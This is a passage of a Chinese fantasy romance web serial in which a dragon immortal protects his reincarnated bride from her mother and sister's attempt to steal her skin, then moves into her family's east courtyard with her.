我不可思议用被子遮住身体,从石床上坐起来……
屏气凝神看着洞里的陈设。
这处洞府,和人类居住房屋布局差不多,我现在身处的地方,类似卧室。
洞顶两块尖锐凸出的山石被雕成镂空样式,天光正好能透过镂花缝隙洒下来,像是在头顶开了扇天窗。
也因为洞顶山石交叉奇异,四面都有遮挡物,所以外面的风雨吹灌不进来。
洞里阴气不重,也不潮湿,石头地面被打扫得干干净净。
石床上方红纱帐一片喜气,洞里摆着石桌石凳,桌边放着一瓶盛开的大红牡丹花。
雕花小几上简单摆了青瓷花瓶,一扇红木屏风端放床前,上面雕刻着大片衣袂飘飘的仙女,还有祥云华盖,帷灯雀扇。
莲花绽放在云层深处,众仙女捧着香炉,簇拥着一名衣袍尊贵,云发凤冠的神女立在云头,从天而降。
屏风下方,是万千朝拜的天子与臣民。
这幅图名叫——西王母神迹图。
我盯着屏风看呆了,许久,我才反应过来要穿衣服……
捡起地上的古代嫁衣,我刚穿上贴身的吊带和丝绸里裤,身体就被人从后突然打横抱起来。
我惊叫一声,本能地伸手搂住那人的脖子。
抬头才看清,抱我的人,是那位银发龙仙!
此时他已经换上了一袭深青墨龙纹广袖古袍,银发松松散落在肩上,眉心红痕格外妖异诱人。
抱着我穿过两重翡翠珠帘,进入了另一处洞屋。
洞内有个三十来平方的小温泉,温泉里水雾袅袅,温水徜徉,水面漂浮着几片红色花瓣。
他把我放进温泉,知道我怕他,就没有下水吓唬我,转身去给我准备新衣服,留我一个人在温泉里净身。
一夜的酸疼总算被温泉泡得消解了许多。
一个小时后,他来找我,顺便给我送了件干净的白裙子。
我爬上岸本想自己把衣服穿好,谁知他却在我琢磨怎么穿那些内衣的时候,突然出现在我身后,修长白皙的玉手拿起胸衣,从后帮我裹上。
我吓得腿软发抖,龙仙大人却将薄唇贴在我耳畔轻笑:
“昨夜,夫人全身上下都被本尊看过了……现在,还怕什么。”
我听完他的话,耳根更烫了。
白裙子披在我身上,他亲手帮我系好了腰上的丝带。
扶我去其他洞屋的镜子前坐下,温柔给白着脸的我梳头发……
“一梳梳到头,一生不用愁。二梳梳到尾,顺风又顺水。三梳子孙满堂,岁岁长相守。”
肩头一沉,他突然弯腰,大手搭在我肩上,吓得我身上一震。
镜中的他俊容妖异,勾起唇角,看着我诚惶诚恐的神情,青眸染笑,腹黑且高深莫测地附在我耳畔说:
“三百年前,本尊就想娶你,本尊的阿鸾,本尊的、骨仙娘娘……”
三百年前……
我呼吸紧促地猛吞了口口水,双手搭在腿上,紧张握住。
既然我是骨仙转世,那我上辈子,就是他送到月阴村的……
所以,他对我,应该没有恶意。
他说他三百年前就想娶我,上辈子,我们难道是情侣?
上辈子的我,又是个什么东西……和他一样,不是人吗?
也不知道月阴村现在怎么了。
他扶着我的肩,歪头深情地往我脸颊上一吻。
我一把抓住他的袖子,颤颤道:“龙、龙仙大人,你答应我了,会救我姐姐和族人……”
他闻言,挑眉故意不承认:“哦?本尊什么时候答应过你,会帮你救人了?”
第10章 把你的皮换给花枝
“昨晚、”我羞窘地埋低头,咬牙不好意思地着急道:“你答应过了……”
虽然,条件有点过分。
可他都已经……做了!
“龙仙大人你、不能言而无信。”我面红耳赤地心虚说。
他闷笑,握着我肩膀,轻声纠正:“乖乖,本尊叫,青漓。水离漓,你要叫本尊阿漓。”
“青漓……”我喃喃重复:“阿、漓……”
他满意地直起挺拔身影,牵住我的手,带我出洞府:
“走,去看看你心心念念的月阴村。”
他肯带我回月阴村了?!
——
月阴村位于九黎山山脚下,是九黎山周边唯一的村落。
九黎山地势险峻山高且常有毒蛇猛兽出没,山下阴气重,普通人根本住不习惯。
因此除了世代居于此地的九黎族族人,鲜少有外人肯来这种阴气重,交通不便利的贫穷山沟沟定居。
月阴村里大部分都是土生土长的本族人,只有寥寥几户是几十年前才从外面搬过来的。
不过,那些外面人一部分头几年嫌山里太穷了,跟着家里青壮年去大城市落脚,锁了房门再没回来过。
一部分已经彻底融入九黎族,和本地族人一样,痴迷于追求长生。
也只有李大叔一家,是个另类。
不求富贵,也不求长生。
下了山没走多久就进了村子,想起前一天村里的惨状,我不禁攥紧了双手……
也不知道,这位龙仙到底会不会帮我救人。
我惴惴不安的麻木往前走,脑子里还在想,如果他不肯,我还能怎么求他,抬眼却看见路那头走来一名扛着锄头的大爷——
我愣住。
对面的大爷两鬓花白,一脸褶子,佝偻着脊背,扛着工具应该是要往农田那个方向去。
看见我和龙仙,吓得老脸一白瞪大浑浊双目,当即扭头拔腿就跑。
大爷的面孔我隐隐觉得似曾相识,好像,上一次见到这张脸,是在两三年前了……
不对,自从村里人开始喝姐姐的洗身水,村里苍老的面容就越来越少。
我想起来了,他是村南边放养的陶大爷!
去年他刚成年的孙子也进了姐姐的卧房,打那以后他全家都变年轻了!
他也喝过姐姐的洗身水……
现在撞见他,是不是意味着村里人已经复活了?
我不由自主地加快脚步往前走,而路上的熟人,也越来越多——
只不过,都是多年前的熟人……
有大娘牵着孩子站在门口魂不守舍,看见我,立马像见鬼了一样拔腿就往家里跑。
还有中年男人蹲在路边吸烟,目光捕捉到我的身影,捻灭烟头惊恐地接连后退好几步。
收鸡蛋的老太太挎着篮子迎面走来,费了好大劲才眯眼看清我——
“骨、骨仙!哎呀妈呀,山上的那条仙家下来了——”
家家户户门口的招魂幡还没来得及取下来,路边黄纸被风吹得摩擦地面沙沙响……
我看着一切都恢复正常的月阴村,僵在路上。
村里的人都变回了原本样貌,老人不再年轻,瘸子不再健步如飞,病患也不再神采奕奕。
“这是、怎么回事?”我怔怔问跟在身后的银发龙仙。
男人邪魅勾唇:“拨乱反正,回到原点。”
大手撩开我肩上长发,臂上收力一揽,猛地把我搂进怀里。
男人青眸熠熠,眼底笑意明媚,勾魂摄魄:“答应你的,本尊没有食言。”
我意外不已,昂头迷茫看他:“你、把他们都救活了?”
昨晚原来是吓唬我的。
男人修长玉指钳住我的下颌,指腹在我唇角摩挲几番,忽然低头,一个蜻蜓点水的吻落在我唇上——
我陡然绷紧脊背,呼吸一窒。
男人的目光在我脸上依恋梭巡,亲近暧昧地将薄唇贴近我耳廓,语调玩味:
“欠本尊的,先记账,慢慢还。月阴村三百二十一条人命,再加上你那个废物姐姐,你还欠本尊,三百一十五次。”
听到这个庞大数字,我心头一颤,耳根骤然滚烫!
猛吞了口口水,我怯怯望着他那张俊美绝世的容颜,试图和他商量:“能、换别的方式还吗?”
他明眸染笑,“不能。”
我僵在了他怀里……突然觉得人生一片黑暗。
昨晚就那几次便差点要了我的小命,还欠三百多次……怎么还得完啊!
会累死的……
不过,听到村民都复活了,我还是很开心的,只是不知道姐姐现在怎么样了。
我熟门熟路地跑回自己家,推开院门,院子里摆着我妈焚烧纸钱的大铁盆,铁盆内黄纸还冒着黑烟。
“妈,姐……”我激动冲进堂屋,但却被脸色苍白如纸的妈给突然出现拦了下来:“镜镜,先别进去!”
我顿住脚步,只听右边配房里传来姐姐撕心裂肺的吼叫——
“啊——我的脸,我的脸!”
姐姐脸怎么了?
还没等我询问母亲,姐姐就从配房里哭着捂脸跑了出来……
“我的脸,妈,我的脸怎么变成这样了,我不要变得这么丑,妈,你给我变回去好不好,我求求你了妈!”姐姐哭着抓住妈的手,放声嚎啕。
我这才看清姐姐此刻的样貌——
银白长发,原本姣好妩媚的容颜竟苍老如八十岁老妇,脸上长满褶子,双腮大片的老人斑。
不仅脸变苍老了,身上的每一寸皮肤都不复往日白嫩水滑,皮肉松弛,脊背佝偻。
整个人都瘦成了皮包骨,活像一具行尸走肉。
我诧异看着姐姐现在的样子,姐姐的视线与我目光相撞,顿时变得阴狠起来,抬手指着我恶语责骂:
“是你!是你抢走了属于我的一切,是你害我惨死,又变成这个样子!我才是骨仙!你凭什么抢走我的身份,你个心机婊,你什么都想和我抢,你个贱人,把我的身份还给我,还给我!”
她情绪崩溃地扑过来,一把掐住我的脖子,目露杀意,恶狠狠道:
“凭什么我努力了这么多年,到头来还是让你占了便宜,凭什么我变成这副不人不鬼的模样,你却完好无损!
该嫁给龙仙的人是我,该被族人供奉敬仰的神明也是我!
你个贱人,为什么老天爷非要你和我一起出生,你生来就是要和我抢东西的,我讨厌你,你怎么不去死啊!”
我被她突然冲过来掐得喘不过气胸口裂痛,她手劲太大,我根本掰不开她的指尖。
妈见状忙来帮我扯开她,心疼地责备道:“好了花枝!再怎么说你们也是亲姐妹,这次要不是你妹妹答应嫁给龙仙,你就活不过来了!”
脖子上的一双利爪骤然松开,我捂住胸膛心有余悸的大口喘气,害怕地往母亲身后躲了躲。
姐姐痛苦捂住脑袋嘶声哭闹道:
“妈,该嫁给龙仙的人是我!凭什么把她送过去啊!是您说的,我才是九黎族的守族仙,我是族里身份最尊贵的人,可现在,我什么都没有了,妈……”
母亲的脸色阴沉下来,不悦呵斥:
“你还是没记住我的话!当初我是怎么和你说的?我让你不要想着嫁龙仙,你既然当了守族仙,就别再妄想跟着龙仙走!”
“妈,我没想和龙仙走,我就是觉得、嫁给龙仙,我就能借助龙仙的力量成为更强大的守族仙,这样我就能、就能把长生媚术修炼得更好,让我们九黎族的子民都能拥有长生的能力……”姐姐抹着眼泪心虚解释。
姐姐打小就受妈偏爱,无论姐姐做错什么事妈都不会真计较,以前姐姐是骨仙转世是,现在姐姐当不成守族仙了,也是。
妈终究还是没忍心多怪罪姐姐,拍拍姐姐的后背好言好语哄道:“行了,你能大难不死已经是不幸中的万幸了……你的脸,是反噬。”
姐姐惊恐瞪大眼,着急追问:“还能恢复吗?”
妈摇头,犹豫道:“这个我还得再研究一下,有难度。”
姐姐一听这话,顿时又放声哭了起来:“啊?那我岂不是,还要顶着这张脸,不知多少年?妈,这样的日子我一天也过不下去,变成这样我不如死了算了!”
妈无奈皱眉:“妈暂时也没有办法,被长生媚术反噬,以前我没有遇见过这种情况,现在只能摸着石头过河,慢慢研究。”
姐姐突然又把凶狠目光放在我身上,抓着妈的手笑得面目狰狞:“哈,妈,还有一个办法,给我换皮!”
抬起苍老的手指,指向我,一字一句咬牙坚定道:“我要,她的皮!”
她要我的皮?短短几个字,像晴天霹雳劈在我身上,我吓得踉跄后退,不可思议地看着姐姐……
她还是想要我的脸!
姐姐继续着急的和妈软磨硬泡:
“反正妹妹已经嫁给龙仙了,她不算我们族里的人,我们也都已经复活了,不需要求龙仙了,你把妹妹的皮换给我!把我的皮换给妹妹,这样我就不会变丑了……”
我害怕的当即大声拒绝:“不!我不给!凭什么你的脸变丑了就要换我的脸!我的皮只能是我自己的,我谁都不给!”
妈也犹豫劝道:“阿枝你听话,再等等,妈会找到办法把你恢复原貌的,换皮风险太大……”
“不!”
姐姐急不可耐地含泪道:
“我有药,是蛇仙给我的!只要吃下去,我想换谁的皮就换谁的皮,不会有任何风险!
反正妹妹都已经丑习惯了,而且妈你不也说了吗,你可以让这身皮恢复,只是时间问题罢了,妈,你就把我和妹妹的皮换了吧!”
“我不换!死都不换!”我又气又怕地怯怯后退,坚决反抗。
妈扫了我一眼迟疑道:“镜镜现在已经嫁给了龙仙,若是换了她的皮,龙仙到时来要人的话……”
姐姐眼前一亮,厚颜无耻道:“你可以把我交出去!”
妈还是不放心:“你?”
姐姐循循善诱道:“妈,你不是需要骨仙来修炼长生媚术做守族仙吗?妹妹才是骨仙转世,你把我和妹妹的皮换了,我去嫁给龙仙,做龙仙的新娘子,妹妹留在家里代替我做守族仙,这不是两全其美?”
听到这些话,我觉得脊背阵阵发寒。
疯了,她们都疯了!
姐姐抓着妈的手撒娇,拿出杀手锏:
“从小到大我事事都让着妹妹,连上学的机会都给了妹妹,妈,我嫁给龙仙就有了依靠,不当守族仙,我能去哪,能做什么呢,我不像妹妹,有文凭学历,见过外面的世界……”
妈当初是因为误将姐姐当成骨仙转世,才故意用诱人的条件把姐姐留在月阴村,骗姐姐老实在族里做圣女,把上学机会给了我的。
这个机会,原本该留给她的亲生女儿……是属于姐姐的,现在真相大白,妈发现她保护错了人,肯定会对姐姐更加愧疚。
事情也的确照着我预想的方向发展了,妈愧疚地抬手揉揉姐姐脑袋,扭头望向我,下定决心道:
“镜镜……这些年,是你姐姐代替你受了这么多苦。你把皮给她,算你还她的,妈答应你,一定尽快帮你恢复年轻。”
尽管早就猜到母亲会答应姐姐的可能,但我还是心里难受,满腔委屈。
受不了地望着母亲痛哭出声:“妈,我也是你的女儿啊……”
为什么,不管姐姐是不是守族仙,你爱的都是她……
妈看见我掉眼泪,眼底浮上一丝不忍,但又极快地被压了下去,冷着脸说:
“镜镜你昨天不还哭着喊着不要嫁给一条龙吗?以后,让你姐姐替你受罪,你把皮换了,留在族里,妈会帮你成为守族仙。
只要你炼成媚体,修成长生媚术,你就能你姐姐一样,被族中子民奉为神明,日日虔诚跪拜,你会是我们九黎族,地位最高的女人。”
“我不要!我才不要为了当什么圣女守族仙就出卖身体……我受过教育我明白是非我有道德底线……我不换皮!”我第一次这么坚决地违背母亲命令,害怕地转身就跑。
但人还没跨出门槛,母亲就低喝一声:“站住!”
下一秒我的身体就像被人点了穴,定在了原地。
我知道是妈出手了。
我张了张嘴,却喊不出声……
全身动弹不得。
妈冷脸走到我身边,残酷开口,字字剜心:
“你投生在我们九黎族,九黎族对你有供养之情,我对你有养育之恩,这是你欠我们九黎族的。今天这身皮,你必须换!镜镜,别怪妈心狠,老实留在妈身边,妈不会让龙仙带走你。”
我僵在原地,无助地害怕流眼泪。
我不要换皮……我不想做宋花枝。
母亲从姐姐手里拿过药丸,无视我满脸的泪水,捏住我的下颌,要把药丸塞我嘴里……
终究,还是让姐姐说中了。
只要她开口,以妈对她的偏爱,妈肯定会立马答应,把我的皮扒给她……
为什么,同样是妈的女儿,无论我是不是骨仙转世……妈都不肯爱我呢……
眼见着妈要把药丸塞进我嘴里了,门外倏地掀起一道森冷飓风,携着刚柔并济的力量,猛地破门朝我妈刮过来——
那阵风拂过我时只带起了我飘逸的白裙摆,可吹在我妈身上,却是直接将她整个人都给撞飞了出去……
我妈惊叫一声,撞在堂屋的大桌子上,膝盖一软,噗通跪在了我身后。
“妈!”姐姐仓皇尖叫着去扶我妈。
我脑子发懵还不知道是什么情况,尔后却听妈颤巍巍地说了句:
“是他来了……青龙仙,下山了!”
不久,门外就飘来银发龙仙不怒而威的问罪声:“本尊夫人的皮,你们也敢换?是嫌命长了吗?!”
身上一松,我恢复自由。
像个断了线的木偶,差点摔下去时,却被一条有力的手臂环住腰肢,带进了一个染着莲花香的清冷怀抱——
我惶恐昂头,却撞入龙仙冷冽严肃的目光中。
四目相对,他眸中万丈寒意顷刻融化成潺潺春水。
抬起大手,护在我脑后。
宝贝的将还发着抖的我拢在怀里,温柔以待。
“本尊的阿鸾,受惊了么?”
柔软的嗓音像片温暖的云朵,抚慰我剧烈跳动的那颗心。
男人身上的凉意包裹住我,竟格外有安全感:“没事了,本尊在,谁也别想伤了你……不然,本尊就为阿鸾,杀了她。”
明明是极轻的语气,可却能震得我妈和姐姐再次惶然下跪。
姐姐六神无主的胆怯躲在妈身边,挽着妈的胳膊不敢撒手。
妈则瘫软跪坐在地上,半天才缓过神,勉强拿出九黎族族长的稳重,朝龙仙恭敬叩头大拜:
“龙仙大人——”
抱着我的男人邪魅勾唇,低头怜爱地吻了吻我眉心,语气里,透着刺骨的冰寒:
“看在你将阿鸾平安养大的份上,宋淑贞,本尊不杀你。但你,也别在本尊面前耍花招,你的那些心思,本尊,一清二楚。”
妈低头卑微的伏在地上,额角冷汗直流,背上打颤顺从道:“是、龙仙大人,老身再也不敢了……”
龙仙大人一袭尊贵青袍,眸眼深邃地痴痴凝望着我,突然沉声命令:“本尊,要去你家祠堂。”
我妈顿了下,犹豫片刻,硬着头皮答应,“是、老身给龙仙大人引路!”
说罢就低着头踉跄爬起身,主动去给龙仙带路。
姐姐脸色苍白地跟在母亲身后,只是路过我们身边,与龙仙擦肩而过时,姐姐的目光有意往龙仙脸上多瞟了两眼。
下一瞬,姐姐眼里就凝起了一层厚重的贪婪。
我知道,姐姐看见龙仙的脸,已经对龙仙有了想法。
自从姐姐开始修炼长生媚术,姐姐就越发贪恋男人的身体……
像着了魔一样,一夜都忍不了。
尤其是长相俊朗的男人,姐姐不惜昼夜与他流连在床榻上。
我不知道姐姐是被长生术迷惑了,还是她本性就是这样……
总之,从小到大,她想要的东西就没有得不到的,哪怕抢,也要抢到手。
可这次的龙仙不是寻常男人,不知道姐姐,能不能如愿以偿。
我愣愣看着龙仙那张俊美如玉的侧颜,一时失神。
男人察觉到我的灼热目光,突然看向我,四目相对那一刹我惊了下,慌忙收回视线。
而他,却捏住我的下颌,允许我和他对视,凤目狡黠而清明,沉笑一声,意味深长道:
“本尊,怎么就对夫人这般痴迷不已呢。”
我耳根发烫的心虚避开他深长眸光。
他满意扬唇,牵住我的手,带我跟上母亲和姐姐去祠堂。
我们宋家的祠堂,也是九黎族的宗祠。
祠堂内供奉着九黎族历任族长与长老的牌位。
因此整个月阴村的村民,每年都要来我家祠堂祭拜先祖,以求历任族长在天之灵能保佑我们九黎族风调雨顺。
母亲从盘起的发髻上取下银钥匙,插进祠堂门上挂着的那把老式莲花锁,轻轻一勾,锁环就被取了下来。
推开两扇朱红大门,木门咯吱咯吱敞开,明媚天光洒了进去,落在宗祠列祖牌位下方。
宗祠里悬挂着庄重威严的金字牌匾,上书:万古流芳。
其他匾与对联上皆刻满赞美词句。
祠堂内森寒阴冷,正前方的香炉里还焚着未烧尽的篾香。
母亲恭敬地退到一边,低声谦卑与龙仙说:“大人,这就是、曾经供奉骨仙娘娘的地方。”
我从前也进这里祭拜过,原本香案正中放有一把椅子,据说那把椅子就是供骨仙靠坐的。
我曾听老辈人形容过骨仙的样子,她是一副完整的白骨,身上穿着朱红嫁衣,嫁衣上的每朵桃花都是用金线绣出来的。
骨仙歪头靠在椅子上,头上盖着一张绣花红盖头。
骨仙消失后,她身上那件破旧的红嫁衣与头上的红盖头留了下来。
母亲为了以备不时之需,就将红嫁衣与红盖头单独封箱保存了。
今天山上的青龙仙到了宗祠,母亲知道青龙仙的来意,转身面无表情去祠堂后的内室里取来一只小木箱。
把木箱放在香案上,打开,再退到边上。
“大人,这是当年骨仙身上穿着的那件红嫁衣,老身一直替大人保存着。”
第一卷 第11章 阿鸾,你是本尊的命
龙仙牵着我走上前,视线里的那件红嫁衣……并不像我想象中的那样陈旧破烂。
三百年了,那身红嫁衣依旧光鲜灼目,烈烈似火,红纱似霞光粼粼。
上面绣的也根本不是桃花,而是金线镶边的火红凤凰花。
嫁衣上还放着金光熠熠的凤冠头饰与凤羽金簪,花簇步摇。
柔软的红盖头上,是一只口中衔花的金凤!
嫁衣的精美程度远远超过我的想象……
姐姐也被木箱里的金冠步摇红嫁衣给勾得眼神都直了。
嘴角露出贪婪的笑容,伸手想去摸,却被母亲及时扼住手腕。
陡然大梦初醒,姐姐顿时目光凶戾地望向我,狠狠地剜我一眼。
银发龙仙垂眼看了阵木箱里的红嫁衣,握着我的大手暗暗攥紧,随后面色柔和地瞧着我问:“喜欢吗?”
我提心吊胆地吞了口口水,点头:“好、好看……”
他手一挥,箱子里的东西顷刻化为破碎萤光,又迅速重组,凝成一只血红玉镯缠绕在我的腕上——
“三百年前的嫁衣,用不上了。这身嫁衣本就是本尊用瑶池水为你做成的,现在为你做只镯子,算是本尊给你的定情信物。”
“瑶、瑶池水?”
我震惊不已。
瑶池水对我们九黎族的族人而言一点也不陌生。
我们九黎族追求长生不老,相传瑶池水能让人面容永葆青春,虽然不能像长生媚术那样直接给人延长寿元,令人一直不死,但让人多活个十年二十年还是绰绰有余的。
龙仙真不愧是龙仙,普通人一辈子都见不到瑶池一眼,他却能轻易取到瑶池水。
姐姐在旁边嫉妒的牙都要咬碎了,盯着我手腕上的红玉镯,委屈的不停去扯妈袖子。
妈烦躁皱眉,瞧了阵龙仙背影,突然朝龙仙跪了下来。
“龙仙大人,求你救救我的女儿,我的女儿被长生媚术反噬,一夜苍老几十岁……她还这么年轻,求龙仙大人发发慈悲,把她变回原样吧!”
妈朝龙仙不停磕头,顺手还把姐姐也给拽跪了下来。
姐姐不甘心地咬牙,眼神直勾勾盯着我腕上的玉镯。
龙仙抬眼打量着堂上供奉的那些牌位,忽然清冷启唇:“宋瑶芝。”
这个名字我见过,正是我家先祖,太姥姥的姥姥!
也是当年和龙仙达成交易,下令让骨仙在我们月阴村接受香火供奉的那一任九黎族族长……
龙仙握着我的手稍用力,正堂中央位置的那副尊贵牌倏然啪的一声巨响,炸成了粉末。
我和母亲姐姐都吓得身上狠狠一颤。
龙仙见状,抬手将我抱在怀里,拍拍我的肩膀,无声安慰。
随后和母亲冷冷道:“你敢同本尊耍心机,这就是下场。”
母亲和姐姐跪在地上不敢说话,害怕地喘着粗气。
“阿鸾原来住的地方不清净,把东院收拾出来,本尊和阿鸾,要住进去。”他冷漠地提要求。
我妈根本不敢违背他的命令,赶紧拽着姐姐站起来一口答应:“好,我这就去!”
我妈出门还特意把姐姐也拽了上,唯恐姐姐在龙仙跟前坏了事。
我呆呆地站在龙仙身边,心情久久难以平复。
男人银发未束,华光如瀑,低头看我,抬手把我的脑袋按在了他肩上,轻声安抚:“别怕,阿鸾,有我在。”
我怔在了他怀里。
他让我别怕……
从小到大,他是第一次和我说这些话的人……
——
东院原来是姥姥住的地方,姥姥过世后这里就闲置了下来。
由于当年姥姥死得不太安生,姐姐小时候又在这里看见过姥姥的影子,所以妈就把东院给上了锁,让我和姐姐都住在了西院。
我打小就不受妈重视,姐姐是九黎族圣女,骨仙转世,未来的守族仙,妈就对姐姐格外溺爱。
西院两间房挨在一起却一大一小,小的那间原本是杂物房,大的才是正经厢房。
十几年前妈也想过让人把两个屋子中间的墙打去,重新砌一道,把两间屋的面积平均一下。
可姐姐不乐意,姐姐说她需要浴室,还需要更衣间,那间屋子正好能够她住,如果把面积平均了,她就没有更衣室了。
姐姐又哭又闹,妈也就没再提要将两间屋面积平分的事了。
于是我就只能窝在那间不足二十平的小杂物房一住就是十几年。
龙仙大人说得没错,我原来的住处不清净。
杂物房本来就和姐姐的卧房只有一墙之隔,两间房不隔音,姐姐每晚和男人做那种事我都听得一清二楚,吵得我根本没法睡觉。
而且自从那两个糟老头子闯进我房间后,我总是在半夜惊醒,唯恐又有什么不正经的男人闯进我屋里欺负我。
现在龙仙把东院要过来了,我总算安心了点。
碍于是龙仙开的口,所以在我们搬进去前妈就带着姐姐把东院里里外外清扫了一遍,收拾得干干净净。
我把自己的一小包东西找了柜子安置好,进卧室才发现床铺都被整理好了,被子平整地盖在雕花木床上。
不用想就知道是龙仙做的,他那么、清贵的一位仙家,竟然会主动铺床做家务……
“阿鸾。”男人的声音从背后飘过来,我被吓得一震,惶恐转身。
看见的,却是男人亲手送过来一杯清茶。
瞧了眼我不自在的脸色,他眼底染笑,把茶杯放在我手里:“还是这么怕本尊啊。”
我低头不敢乱说话:“没、没……”
“忙了这么久,渴了吧,先喝水。本尊把这边的小厨房整理好了,晚上我们可以自己做饭。”他牵着我去床边坐下。
我意外看他:“你、把厨房弄好了?这边的厨房好多年没用了,烟囱都坏了……”
“小问题,本尊已经把它修好了。你以后再发现何处损坏,来喊本尊,本尊什么都会修。”他回答得轻松平静。
我喝了口茶水,试着和他平心静气地交流:“你好厉害,我以为龙仙都是高高在上……”
“高高在上等着被人伺候么?”他眼里的笑温柔明媚,挑眉和我打趣:“本尊在落枫洞,确实有几个纸人伺候。这院子不大,不然本尊也可以变几个纸人塞进来帮着扫扫地。”
说完,又补充了一句:“本尊会做饭,不用它们,它们不能见水火,着实废物得很。”
他好像,没有我想象中的那么古怪难相处。
我胆大起来,问他:“昨晚,搀我下花轿的,也是纸人吗?我觉得她的手,好像和纸人不一样。”
“那是山中老树妖,帮本尊接你进洞府的。”他轻轻回答。
我恍然大悟:“原来是这样。”
他看我对他降下防备,倏然凑近我,清澈澄净的青眸深情凝望我,心情不错道:“还想问什么?”
我望着那张突然放大的俊美妖冶容颜,吞了口口水,斟酌道:“我真的,是骨仙转世吗?你没有认错吗?”
其实,对于我才是骨仙转世这件事,我一直都觉得心里打鼓,不太踏实。
我怎么可能是骨仙,明明姐姐才更像骨仙……
他听我这样问,好笑反问:“本尊,会认错自己的妻子么?”
我颤颤呢喃:“我打小就是个愚笨的普通人,上学偏科,大学连体育都能挂,我不像姐姐,她学什么会什么,四五岁就学会怎么控蛇了……我什么天赋也没有,怎么可能是骨仙转世。”
“可你,的确是。”
他接过我的茶杯放在一边,握住我的手认真说:
“谁说骨仙转世,一定要与众不同,你不是不会,而是她们太蠢,不知道怎么教你。你会的,比她们教的那些,厉害多了。你不止能学会控蛇,还能驭蛇。”
“是吗?”我还是不太相信:“可是、你真的不会认错吗?万一认错了,我姐姐才是……”
那我岂不是会被他一口吃了!
他似能看破我心中所想,耐心解释道:“阿鸾的身上,有本尊的气息。自阿鸾降世那日,本尊就知道,本尊的阿鸾回来了。”
我怔怔看他:“我身上、有你的气息?”
他颔首,“你是我妻子,体内自然有独属本尊的气息。纵然时隔三百年,你的气息,你的容貌,本尊也仍铭记在心,无比熟悉。”
我觉得脑子里很乱:“你既然一直都知道我是谁,为什么我小时候,你还咬我?”
他唇畔的笑意愈发阴冷,目光盯得我浑身发毛:
“阿鸾不毁容,宋淑贞会放过你吗?只有你不去争宋花枝的风头了,宋花枝才能稳坐九黎族圣女之位,别人才会一致认为,宋花枝是真正的骨仙转世。这样,宋淑贞就不会设法伤害你,把你炼成守族仙。”
他竟然,什么都知道。
连我妈早就想把骨仙转世炼成守族仙都知道!
“你是故意……将错就错?”我惊讶问他。
他许是以为我被吓着了,抬手捞过我的脑袋按在怀里。
鼻息前,是他身上温柔浅浅的莲花清香。
“阿鸾,本尊一直在等你长大,在此之前,本尊得想法子护住你。
你母亲与姐姐的下场,都是她们贪心不足咎由自取。
你觉得本尊心狠也好,阴毒也罢,你身边没人为你着想,本尊不能也对你坐视不理。
你是本尊带来的,本尊,得为你负责。”
我僵在他怀中。
反应迟钝地继续问他:“我们前世,到底是什么关系?”
他抚了抚我的长发,凤眸神光潋滟:“你说呢,阿鸾。”
我怯怯猜测:“情侣吗?”
他低笑:“算是。”
“为什么、算是?”我追问。
他抚在我发上的手一顿,眸中一沉,凝重道:“因为,上辈子本尊暗恋你……但后来,你答应嫁给本尊了。只是大婚当日,被一些该死的人给破坏了。”
“我答应,嫁给你……”
所以,我是在大婚那天一命呜呼的,这才穿着嫁衣,被龙仙送来月阴村。
“阿鸾。”他大手撩开我的发,暧昧地捞住我脑袋,低头深情亲吻我的唇。
欺身将我压在床上,吐息愈渐滚烫。
凝望我的眼神痴缠且贪婪。
大手与我十指相扣,将我按在身下肆意索吻。
“你是本尊最亲近的人,也是最爱本尊的人。本尊等了你三百年,总算将你等回来了……阿鸾,你是本尊的命。”
说完,伸手扯开我腰间裙身的丝带。
我其实有点怀疑,他把东院要过来,是为了方便他随时和我在一起……
都说龙仙贪欢,这话一点也不假。
我没有再像前一晚那样害怕,我们两新婚之夜睡在一张床上时,他也并没有只顾着自己痛快忽略我的感受。
反而在我又疼又怕地掉眼泪时,温柔放轻力度,吻去我眼尾泪水,捧着我的脸耐心哄我。
那真挚温柔的眼神,像极了是在凝视久别重逢的爱人。
何况我已经被月阴村献给龙仙了,还早就糊里糊涂做了龙仙的人,他想和我亲近,我没理由拒绝。
月洞床前红纱垂落,我的指尖穿梭在他皓皓银发间,藕臂搂住他的脖子……
两具身体热意交融,气息交缠。
青丝绕银发,我汗津津地伏在他怀里情不自禁低吟。
他为我擦去额角的密汗,吻我吻得用力。
“都这么多次了,还不适应?”
“龙仙……”
“叫本尊、阿漓……”
“阿漓。”
“嗯。”
他闷头埋进我怀里,又没完没了地折腾了很久。
——
晚上,家里来了不少人,都是找妈讨说法的。
前头院子里人声嘈杂,我站在东院门口听了会。
老六叔正在极力安抚村民的情绪:
“的确是我们一开始就弄错了,选错圣女,我和族长都有罪。但事情已经发生了,眼下大家还能保住一条命,就各自知足吧!”
有人吵着反驳:“就算现在活过来了,又有什么用!你看看我,前天还是英俊美少男,今天就满脸老褶,你让我怎么出门见人啊!”
还有女人们争相附和:
“就是啊,是族长当年说,只要花枝练成了长生媚术,我们就都可以长生不老,我们这才刚尝到甜头,就又打回原形了。
我们这些中年人还好,你看那金大娘,又瘫床上去了,吃饭嘴角都流汤水!”
“对啊,我们家老爷子今个在屋里哭一天了,他得的可是癌症啊!”
“既然花枝不是骨仙转世,那族长你就如法炮制,再说服鸾镜做咱们的守族仙,修炼长生媚术不就得了,大不了咱们再等几年。”
老六叔冷哼一声,抽了口大烟道:“说得容易,鸾镜那死丫头现在已经是龙仙的老婆了,龙仙在她身边,我们敢打她主意吗?”
“那也不能、让咱们就这样等死啊。”
“我想变年轻,想变漂亮,看我现在这张脸,哎呦喂,救我干什么呢,还不如让我死了呢!”
我静静听着邻居们的哭闹声,深呼吸一口气。
果然,她们尝到了长生不老的好处,现在突然变回去,再次遭受生老病死的折磨,一时半会根本接受不了。
我转身要回去,却见到丰神俊朗光风霁月的龙仙大人不知什么时候出现在了我身后。
我呼吸一滞,对上他似笑非笑的眸子,心底发怵地问:“是你,故意把他们变年轻的?”
他拉住我的手,弯唇道:“不全是,有一部分原因,的确是源自长生媚术。本尊只不过是略微出手,逼他们尽快把你送给本尊罢了。本尊,可不想因为她们,耽搁了你我的吉日吉时。”
“为什么修炼长生媚术,一定得是骨仙转世?”我不理解地问他。
他从容为我解惑:
“因为骨仙受了三百年香火,加之你上辈子本就是地仙,体内灵气最是纯净充盈,所以由你来修炼长生媚术,百分百能成功。
不然,就会像你姐姐那样,被反噬。
当然,被反噬也不是最坏的结果,长生媚术本就是邪功,修炼失败,魂飞魄散,万劫不复。
不过,你姐姐元神也不一般,只是身上邪念太重,所以能承受得住长生媚术的反噬,勉强还可以留下一条烂命。”
